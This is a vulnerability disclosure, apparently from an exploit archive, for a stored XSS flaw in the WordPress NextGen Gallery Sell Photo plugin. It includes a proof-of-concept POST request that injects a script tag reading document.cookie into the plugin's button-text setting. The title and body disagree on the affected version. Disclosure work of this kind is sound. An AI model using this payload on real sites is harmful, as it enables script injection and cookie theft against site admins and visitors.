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WordPress NextGen Gallery Sell Photo 1.0.5 Cross Site Scripting

WordPress NextGen Gallery Sell Photo 1.0.5 Cross Site Scripting
Posted Aug 16, 2020
Authored by Melbin K Mathew

WordPress NextGen Gallery Sell Photo plugin version 1.0.5 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | b7ac390a03c98ac9ada5906279c0380b35000a27c569945f9a804bc9066935cf

WordPress NextGen Gallery Sell Photo 1.0.5 Cross Site Scripting

Change Mirror Download
# Exploit Title: Wordpress Plugin NextGen Gallery Sell Photo 1.0.5 - Persistent Cross-Site Scripting
# Date: 2020-08-14
# Vendor Homepage: https://noorsplugin.com/
# Vendor Changelog: https://wordpress.org/plugins/nextgen-gallery-sell-photo/#developers
# Exploit Author: Melbin K Mathew (@melbinkm)
# Author Advisory: https://melbin.in/2020/08/14/stored-xss-vulnerability-in-wordpress-nextgen-gallery-sell-photo-plugin/
# Author Homepage: https://melbin.in
# Version: 1.0.4 and below

1. Description

The NextGen Gallery Sell Photo is a WordPress Plugin used to sell images directly from NextGen Gallery in WordPress blog with PayPal. The 'Button Text/Image' field in Settings page of Sell Photos Plugin was found to be vulnerable to stored XSS, as they did not sanitize user given input properly. It is triggered when a users loads a page where the plugin is used, and when an admin opens settings page of the plugin. All WordPress websites using Sell Photo version 1.0.4 and below are affected.

2. Proof of Concept

POST /w/wp-admin/options-general.php?page=nextgen-sell-photo-settings HTTP/1.1
Host: 127.0.0.1
Content-Length: 336
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1/w/wp-admin/options-general.php?page=nextgen-sell-photo-settings
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7Cb6923f10946ffce4a149ff702761391ed5ab2efed419261f5bd9d173281a1d95; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1598610909%7CXmVhtKnvAI164KObiJsAbb3SYq4E7wDbCwjb2T1Q5Ot%7C187d1919d81892688985d2acd9d7c8995a974ded5282ab8d15344dae9764a405; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597422791
Connection: close

_wpnonce=a48671c8bf&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dnextgen-sell-photo-settings&paypal_email=john%40zopmail.com&currency_code=USD&price_amount=5.00&button_anchor=Buy+Now+%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&return_url=http%3A%2F%2F95.217.19.38%2Fw&ngsp_update_settings=Save+Changes
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